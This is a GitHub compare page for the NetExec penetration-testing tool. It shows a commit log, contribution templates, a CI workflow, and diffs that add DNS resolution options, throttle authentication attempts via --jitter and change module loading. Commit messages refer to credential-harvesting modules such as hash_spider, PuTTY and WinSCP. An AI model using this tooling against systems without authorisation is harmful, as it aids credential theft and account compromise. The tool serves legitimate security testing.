Compare commits

..
121 Commits
Author SHA1 Message Date
Marshall Hallenbeck f0c914156e fix(wmi): add auth_level to kerberos auth, revert my previous changes, move Impacket silencing, add debugging 2024-05-19 17:31:40 -04:00
Marshall Hallenbeck e2e0297a3a Merge remote-tracking branch 'XiaoliChan/dns' into pr-196 2024-05-17 19:37:59 -04:00
Marshall Hallenbeck 95ac1af00a fix(wmi): handle Kerberos auth failures and return proper error codes 2024-05-17 19:33:58 -04:00
Alex 078b0ff451 Merge branch 'main' into dns 2024-05-18 01:20:16 +02:00
Marshall Hallenbeck aa9b044e7b Merge pull request #308 from Pennyw0rth/marshall-hash-spider-fix
Fix: hash_spider Lsassy Parser syntax
2024-05-17 09:29:27 -05:00
Alexander Neff 34c3c29266 Remove hash_spider setting logging attributes (they are wrong anyway) 2024-05-17 10:19:32 -04:00
Marshall Hallenbeck 730b57248d fix(hash_spider): update calling lsassy Parser since it was changed 4 months ago 2024-05-17 09:28:55 -04:00
Marshall Hallenbeck 98244994b9 tests: add hash spider test db to gitignore 2024-05-17 09:28:31 -04:00
Marshall Hallenbeck e3baadb108 Merge pull request #249 from Pennyw0rth/neff-putty
Add PuTTY module and fix WinSCP
2024-05-16 13:44:41 -05:00
mpgn c7c1f06323 Merge pull request #265 from Pennyw0rth/mpgn-patch-1
Update test.yml to include pipx install
2024-05-16 16:46:12 +02:00
mpgn d23669b5d0 Update test.yml
Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
mpgn b1b64a8e23 Update test.yml to remove line
Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
mpgn c64366068c Update test.yml to include pipx install
#252 

Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
Alexander Neff 59c6033bc7 Add proxycreds saving to file 2024-05-15 19:27:04 -04:00
Alex 94a0b7adad Merge pull request #305 from Pennyw0rth/neff-patch-bloodhound 2024-05-15 02:15:09 +02:00
Alexander Neff faf7f18224 Revert a9bd576392 2024-05-14 20:09:52 -04:00
Alexander Neff a79680aeff Add timestamp to save file 2024-05-14 19:39:42 -04:00
Marshall Hallenbeck a194fda283 Merge pull request #298 from termanix/patch-2
Update e2e_commands.txt
2024-05-14 12:54:03 -05:00
Marshall Hallenbeck 9f61d8ba3b Merge pull request #304 from Pennyw0rth/fix-dependency
fix issue #252
2024-05-14 12:53:48 -05:00
mpgn aff33d677e fix issue #252 2024-05-14 17:09:01 +02:00
Alexander Neff f4bac9b92f Revert logging change to original state 2024-05-12 18:52:34 -04:00
Alexander Neff d644ac1499 Correct comment 2024-05-12 18:46:11 -04:00
Alexander Neff f92f7f585f Merge branch 'main' into dns 2024-05-12 18:44:22 -04:00
Alexander Neff 06e107dd10 Remove "remoteHost" in favour of "host" to keep only one variable, also some formatting 2024-05-12 18:35:05 -04:00
Marshall Hallenbeck 76a01909bb Merge pull request #299 from Pennyw0rth/Marshall-Hallenbeck-patch-1
Create Pull Request Template
2024-05-12 14:48:52 -05:00
Alex c699c6da74 Merge pull request #291 from Pennyw0rth/neff-jitter
Change jitter option to throttle authentications
2024-05-12 20:42:35 +02:00
Alex 0cf9d72983 Merge pull request #282 from wumb0/281-multi-file-put 2024-05-12 11:58:37 +02:00
Alex 6c148c6ac8 Merge branch 'main' into neff-putty 2024-05-12 02:56:45 +02:00
Alexander Neff 4cc6676e12 Renaming input target variable inside connection object 2024-05-11 18:00:30 -04:00
Alexander Neff f49f890226 Formating and stuff 2024-05-11 15:20:13 -04:00
Marshall Hallenbeck 574afc0d5e Merge branch 'main' into 281-multi-file-put 2024-05-11 11:38:45 -05:00
Marshall Hallenbeck 535a1061b6 Merge pull request #297 from Pennyw0rth/marshall-tests-byid
Feat: Allow for running specific e2e tests by line number
2024-05-10 18:43:12 -05:00
Alexander Neff 93441f2190 Add screenshot section to PR template 2024-05-10 17:41:09 -04:00
Marshall Hallenbeck daede6d00a fix english 2024-05-10 15:52:11 -04:00
Marshall Hallenbeck 5c39381dfc docs: update feature_request.md to include proper template code 2024-05-10 15:51:28 -04:00
Marshall Hallenbeck aedfc37a19 Create pull_request_template.md
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-10 15:44:24 -04:00
Marshall Hallenbeck 0586d844a7 fix(tests): only print failure line if there were failures 2024-05-10 15:30:36 -04:00
termanix 9e68ba5602 Update e2e_commands.txt
WMI moved to after SMB, removed a few flags for now.

Signed-off-by: termanix <[email protected]>
2024-05-10 22:22:02 +03:00
termanix 3b1ca12ef0 Update e2e_commands.txt
Removed bitlocker modules for adding to #286

Signed-off-by: termanix <[email protected]>
2024-05-10 21:57:02 +03:00
Marshall Hallenbeck a5e61bf6ac feat(tests): allow for specifying certain line numbers, allow for printing all failed commands, and properly use single quotes for linux 2024-05-10 14:48:09 -04:00
termanix bb8f30bd9f Update e2e_commands.txt
Added SMB bitlocker module, added WMI some flags and all modules.

Signed-off-by: termanix <[email protected]>
2024-05-10 21:46:58 +03:00
Alexander Neff f0b2d3984c Add more jitter to e2e tests 2024-05-08 13:59:43 -04:00
Alexander Neff 97c729c62d Add jitter to e2e tests 2024-05-08 06:31:16 -04:00
Marshall Hallenbeck 61a2cf1a72 Merge branch 'main' into dns 2024-05-05 17:52:02 -05:00
Alexander Neff a2f856d6c4 Add comments 2024-05-05 17:58:45 -04:00
Alexander Neff 2770a52ed8 Convert jitter into authentication throttle 2024-05-05 17:51:19 -04:00
Marshall Hallenbeck a677b37414 Merge pull request #290 from Pennyw0rth/marshall-fix-logging
Reduce third party debug logging
2024-05-05 12:15:19 -05:00
Marshall Hallenbeck 8560f7b921 Merge branch 'main' into dns 2024-05-04 14:30:58 -05:00
Marshall Hallenbeck 0ca3c43f02 fix(logger): set overall logging level to INFO for third party loggers instead of DEBUG when --debug is set 2024-05-03 15:48:49 -04:00
Marshall Hallenbeck 045a9649fd fix(logger): set exc_text to error text if it is none (found via 288) 2024-05-03 15:36:40 -04:00
Alex 25f0b59842 Merge pull request #285 from Pennyw0rth/neff-fix-bin 2024-04-30 20:55:26 +02:00
Alexander Neff d8bd8e14b9 Fix #284 2024-04-30 14:35:30 -04:00
wumb0 3216380291 Merge branch 'main' into 281-multi-file-put 2024-04-29 13:09:03 -04:00
wumb0 abfd76cf4f remove uneeded logic from put_file and get_file 2024-04-29 09:10:39 -04:00
Alex 4eb9838cfb Merge pull request #283 from Pennyw0rth/Marshall-Hallenbeck-patch-1 2024-04-29 02:48:02 +02:00
Marshall Hallenbeck f1976ac721 Create feature_request.md
add generic feature_request template from https://github.com/go-fed/activity/blob/master/.github/ISSUE_TEMPLATE/feature-request-template.md

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-04-28 19:32:39 -05:00
wumb0 fe1064b333 also added multi-file get 2024-04-28 12:46:13 -04:00
wumb0 8fb9bc0d75 add multi-file put, keeping compatibiltiy with old format (tuple) -
Pennyw0rth/NetExec#281
2024-04-28 12:39:37 -04:00
Marshall Hallenbeck 52d45116e4 Merge pull request #269 from Pennyw0rth/neff-dependencies
Updating dependencies
2024-04-27 20:01:21 -05:00
Alexander Neff ab5966f8d9 Fix lint error 2024-04-27 18:38:44 -04:00
Alex c2a266923f Merge branch 'main' into neff-dependencies 2024-04-28 00:35:16 +02:00
Alex 62dcc28048 Merge pull request #250 from Pennyw0rth/neff-fix-modules
Fix bug where modules would be the same object across protocols
2024-04-28 00:15:16 +02:00
Marshall Hallenbeck 9a054871c4 Merge pull request #271 from Pennyw0rth/neff-asreproast
Fixing #263
2024-04-27 15:57:36 -05:00
Marshall Hallenbeck 60db63436e Merge pull request #277 from sepauli/sepauli/fix-mssql_priv
fix mssql_priv
2024-04-27 15:37:54 -05:00
Alexander Neff d7918cd655 Fix context logger in different modules 2024-04-27 16:34:11 -04:00
Alexander Neff 768d462844 Fix context logger in mssql_priv 2024-04-27 08:51:00 -04:00
sepauli a6271cef24 fix is_admin_user function 2024-04-26 23:58:51 +02:00
sepauli fe0ec9c040 fix mssql_priv 2024-04-26 23:29:00 +02:00
Alexander Neff 0d84189d7f Show exception only in debug mode 2024-04-25 15:45:28 -04:00
Marshall Hallenbeck 0ffa19debf Merge pull request #272 from Pennyw0rth/neff-fix-ssh
Fix ssh auth message
2024-04-25 10:09:57 -04:00
Alexander Neff d9ce7a45df Keep backwards compatability with datetime 2024-04-21 16:55:48 -04:00
Alexander Neff 71f9fdaa3f Change privilege feedback 2024-04-21 14:03:40 -04:00
Alexander Neff 5208c42aaa Fix ssh auth message 2024-04-21 12:53:49 -04:00
Alexander Neff f649c04d0d Check if we got a TGT 2024-04-21 11:16:35 -04:00
Alexander Neff 798770479a Remove deprecated utcnow() function, add better exception handling and fix bug where bool instead of None would be returned 2024-04-21 11:10:28 -04:00
Alexander Neff 12779c43f4 Change strings to format strings, to prevent concatination errors 2024-04-21 11:09:46 -04:00
Marshall Hallenbeck 84cecd5968 Merge branch 'main' into dns 2024-04-20 13:41:26 -04:00
Alex 46a97cc3a3 Merge branch 'main' into neff-fix-modules 2024-04-13 02:23:16 +02:00
XiaoliChan b39198aef7 Merge branch 'main' into dns
Signed-off-by: XiaoliChan <[email protected]>
2024-04-12 23:31:35 +08:00
Alexander Neff 60c95ba8f6 Add proxy username and password 2024-04-06 19:55:27 -04:00
Alexander Neff 06415348dc Fix bug where modules would be the same object across protocols 2024-04-06 14:07:05 -04:00
Alex b123a4dc8f Merge branch 'main' into neff-putty 2024-04-05 12:02:37 -04:00
Alexander Neff a03e7720ed Add class annotation and module description 2024-04-05 11:56:25 -04:00
Alexander Neff 4ab7a39d25 Improve Code 2024-04-05 11:53:30 -04:00
Alexander Neff b5b2598995 Clean up code 2024-04-05 11:29:46 -04:00
Alexander Neff b85543d93c Change output formating 2024-04-05 11:21:56 -04:00
Alexander Neff 9b57d62354 Remove conusing example init parameter 2024-04-05 11:20:05 -04:00
Alexander Neff 52dd4fea15 Fix bug when registry for master password check does not exist 2024-04-05 10:56:15 -04:00
Alexander Neff 2f32d18f18 Improve code 2024-04-05 10:47:45 -04:00
Alexander Neff 4b8a44e64b Add putty module 2024-04-05 10:28:43 -04:00
XiaoliChan 393bc40e8c Bug fix
Signed-off-by: XiaoliChan <[email protected]>
2024-04-04 00:23:09 +08:00
XiaoliChan 3f1fa69bdc remove condition
Signed-off-by: XiaoliChan <[email protected]>
2024-04-03 22:55:34 +08:00
XiaoliChan f5bb1fc65f Conflict fix
Signed-off-by: XiaoliChan <[email protected]>
2024-04-03 22:49:37 +08:00
XiaoliChan 059013a0ab [lib] update impacket
Signed-off-by: XiaoliChan <[email protected]>
2024-03-12 16:36:06 +08:00
XiaoliChan 751544806b Add e2e
Signed-off-by: XiaoliChan <[email protected]>
2024-03-12 10:42:20 +08:00
XiaoliChan 9b8b2e99ec Update kdchost description
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 18:32:03 +08:00
XiaoliChan 548a5e9228 Update impacket
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 18:26:40 +08:00
XiaoliChan fc9bf7f4e5 [LDAP] Fix logic with no-smb
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 14:51:35 +08:00
XiaoliChan 5efa1ef7f0 [LDAP] Fix logic with no-smb
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 14:40:17 +08:00
XiaoliChan 48be975341 [DNS] Clean SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:46:14 +08:00
XiaoliChan 218518dbb6 [DNS] Clean SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:19:48 +08:00
XiaoliChan 35d3a3d3c1 [DNS] Fix mssql
Signed-off-by: XiaoliChan <[email protected]>

[DNS] Fix mssql

Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:03:22 +08:00
XiaoliChan 3dcca25081 Merge remote-tracking branch 'upstream/main' into dns 2024-03-10 09:56:04 +08:00
XiaoliChan 9131e5cf9b Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 09:55:50 +08:00
XiaoliChan 2b75ed6784 [DNS] Fix RDP & ldap-checker
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 09:44:05 +08:00
XiaoliChan 233136ae3e clean up
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 00:48:38 +08:00
XiaoliChan 55a4486dbe [mmcexec] avoid kerberos auth
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 22:56:39 +08:00
XiaoliChan 43576de135 [DNS] fix dcom
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 22:43:58 +08:00
XiaoliChan b42a7f17f5 [wmi] fix rdp
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 21:40:59 +08:00
XiaoliChan 30dd0cec91 Update impacket version
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 20:56:34 +08:00
XiaoliChan 5fd9e9b9a3 [DNS] Fix mssql
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 18:37:33 +08:00
XiaoliChan 11600f7767 [DNS] Fix wmi
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 184551ee30 [DNS] Fix module with kerberos
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 1f4dcdc4e9 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan cd5f8e7e47 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 3cf689c7f8 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan ee6b74bbb8 [DNS] Ready for kdcHost
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
mpgn 8010f10552 fix ruff check 2024-03-09 01:52:16 -05:00
mpgn 05430a679e Set info as info 2024-03-09 01:52:16 -05:00
mpgn 30e9f0f153 Add ldap destination IP to be compatible with dns resolution 2024-03-09 01:52:16 -05:00
XiaoliChan 5fe1d988ea [DNS] Add DNS args
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
65 changed files with 1067 additions and 636 deletions

No files matched your search

+18
View File
@@ -0,0 +1,18 @@
---
name: Feature request
about: Request a new feature or enhancement
title: ''
labels: ''
assignees: ''
---
**Please Describe The Problem To Be Solved**
(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
**(Optional): Suggest A Solution**
(Replace This Text: A concise description of your preferred solution. Things to address include:
* Details of the technical implementation
* Tradeoffs made in design decisions
* Caveats and considerations for the future
If there are multiple solutions, please present each one separately. Save comparisons for the very end.)
@@ -0,0 +1,44 @@
---
name: Pull request
about: Update code to fix a bug or add an enhancement/feature
title: ''
labels: ''
assignees: ''
---
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
Please also include relevant motivation and context.
List any dependencies that are required for this change.
## Type of change
Please delete options that are not relevant.
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
## How Has This Been Tested?
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
If you are using poetry, you can easily run tests via:
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
## Checklist:
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
- [ ] New and existing e2e tests pass locally with my changes
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
+4 -1
View File
@@ -26,6 +26,9 @@ jobs:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
@@ -45,4 +48,4 @@ jobs:
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -M veeam
poetry run netexec smb 127.0.0.1 -M veeam
+1
View File
@@ -1,5 +1,6 @@
data/nxc.db
hash_spider_default.sqlite3
hash_spider_testing.sqlite3
*.bak
*.log
.venv
+1
View File
@@ -42,6 +42,7 @@ a = Analysis(
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'paramiko',
'pypsrp.client',
'pywerview.cli.helpers',
+8 -2
View File
@@ -46,12 +46,18 @@ def gen_cli_args():
parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication (default: None)")
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display nxc version")
dns_parser = parser.add_argument_group("DNS")
dns_parser.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_parser.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_parser.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_parser.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds (default: %(default)s)")
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
@@ -78,7 +84,7 @@ def gen_cli_args():
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
+120 -52
View File
@@ -4,10 +4,12 @@ from threading import BoundedSemaphore
from functools import wraps
from time import sleep
from ipaddress import ip_address
from dns import resolver, rdatatype
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.protocols.ldap.laps import laps_search
@@ -21,23 +23,63 @@ global_failed_logins = 0
user_failed_logins = {}
def gethost_addrinfo(hostname):
is_ipv6 = False
is_link_local_ipv6 = False
def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
result = {
"host": "",
"is_ipv6": False,
"is_link_local_ipv6": False
}
address_info = {"AF_INET6": "", "AF_INET": ""}
for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
try:
if ip_address(target).version == 4:
address_info["AF_INET"] = target
else:
address_info["AF_INET6"] = target
except Exception:
# If the target is not an IP address, we need to resolve it
if not (dns_server or dns_tcp):
for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
address_info["AF_INET6"] = canonname
result["is_link_local_ipv6"] = True
else:
dnsresolver = resolver.Resolver()
dnsresolver.timeout = dns_timeout
dnsresolver.lifetime = dns_timeout
if dns_server:
dnsresolver.nameservers = [dns_server]
try:
answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET"] = answers_ipv4[0].address
except Exception:
pass
try:
answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET6"] = answers_ipv6[0].address
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
result["is_link_local_ipv6"] = True
except Exception:
pass
if not (address_info["AF_INET"] or address_info["AF_INET6"]):
raise Exception(f"The DNS query name does not exist: {target}")
# IPv4 preferred
if address_info["AF_INET"]:
host = address_info["AF_INET"]
if address_info["AF_INET"] and not force_ipv6:
result["host"] = address_info["AF_INET"]
else:
is_ipv6 = True
host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
result["is_ipv6"] = True
result["host"] = address_info["AF_INET6"]
return host, is_ipv6, is_link_local_ipv6
return result
def requires_admin(func):
@@ -49,7 +91,7 @@ def requires_admin(func):
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, timeout):
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
@@ -69,6 +111,7 @@ def dcom_FirewallChecker(iInterface, timeout):
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
@@ -80,57 +123,67 @@ def dcom_FirewallChecker(iInterface, timeout):
class connection:
def __init__(self, args, db, host):
self.domain = None
def __init__(self, args, db, target):
self.args = args
self.db = db
self.hostname = host
self.port = self.args.port
self.logger = nxc_logger
self.conn = None
self.admin_privs = False
# Authentication info
self.password = ""
self.username = ""
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
self.local_ip = None
self.logger = nxc_logger
try:
self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
if self.args.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
except Exception as e:
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
# Network info
self.domain = None
self.host = None # IP address of the target. If kerberos this is the hostname
self.hostname = target # Target info supplied by the user, may be an IP address or a hostname
self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified
self.kdcHost = self.args.kdcHost
self.port = self.args.port
self.local_ip = None
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
else:
return
if args.jitter:
jitter = args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
if self.args.kerberos:
self.host = self.hostname
value = random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
sleep(value)
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {self.host}: {e}")
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
finally:
self.logger.debug(f"Closing connection to: {host}")
self.logger.debug(f"Closing connection to: {target}")
with contextlib.suppress(Exception):
self.conn.close()
def resolver(self, target):
try:
return get_host_addr_info(
target=target,
force_ipv6=self.args.force_ipv6,
dns_server=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout
)
except Exception as e:
self.logger.info(f"Error resolving hostname {target}: {e}")
return None
@staticmethod
def proto_args(std_parser, module_parser):
return
@@ -150,16 +203,7 @@ class connection:
def check_if_admin(self):
return
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
return
def plaintext_login(self, domain, username, password):
@@ -178,6 +222,7 @@ class connection:
self.enum_host_info()
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
@@ -211,7 +256,7 @@ class connection:
It iterates over the modules specified in the command line arguments.
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
"""
for module in self.module:
for module in self.modules:
self.logger.debug(f"Loading module {module.name} - {module}")
module_logger = NXCAdapter(
extra={
@@ -395,7 +440,9 @@ class connection:
return domain, username, owned, secret, cred_type, [None] * len(secret)
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
"""Try to login using the specified credentials and protocol.
"""
Try to login using the specified credentials and protocol.
With --jitter an authentication throttle can be applied.
Possible login methods are:
- plaintext (/kerberos)
@@ -408,6 +455,18 @@ class connection:
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
if self.args.jitter:
jitter = self.args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
sleep(value)
with sem:
if cred_type == "plaintext":
if self.args.kerberos:
@@ -496,3 +555,12 @@ class connection:
def mark_pwned(self):
return highlight(f"({pwned_label})" if self.admin_privs else "")
def load_modules(self):
self.logger.info(f"Loading modules for target: {self.host}")
loader = ModuleLoader(self.args, self.db, self.logger)
self.modules = []
for module_path in self.module_paths:
module = loader.init_module(module_path)
self.modules.append(module)
+1 -1
View File
@@ -12,7 +12,7 @@ from nxc.paths import WORKSPACE_DIR
def create_db_engine(db_path):
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True, connect_args={"check_same_thread": False})
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
def open_config(config_path):
-2
View File
@@ -52,10 +52,8 @@ def add_user_bh(user, domain, logger, config):
_add_with_domain(user_info, domain, tx, logger)
except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
exit()
except ServiceUnavailable:
logger.fail(f"Neo4J does not seem to be available on {uri}.")
exit()
except Exception as e:
logger.fail(f"Unexpected error with Neo4J: {e}")
finally:
+6 -3
View File
@@ -30,7 +30,7 @@ def setup_debug_logging():
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.INFO)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
@@ -53,13 +53,15 @@ class SmartDebugRichHandler(RichHandler):
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
@@ -91,7 +93,8 @@ class NXCAdapter(logging.LoggerAdapter):
self.logger = logging.getLogger("nxc")
self.extra = extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
+1 -1
View File
@@ -27,7 +27,6 @@ class NXCModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.context = context
self.regex = re.compile("(https?://.+)")
self.server = None
@@ -39,6 +38,7 @@ class NXCModule:
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
if self.server is None:
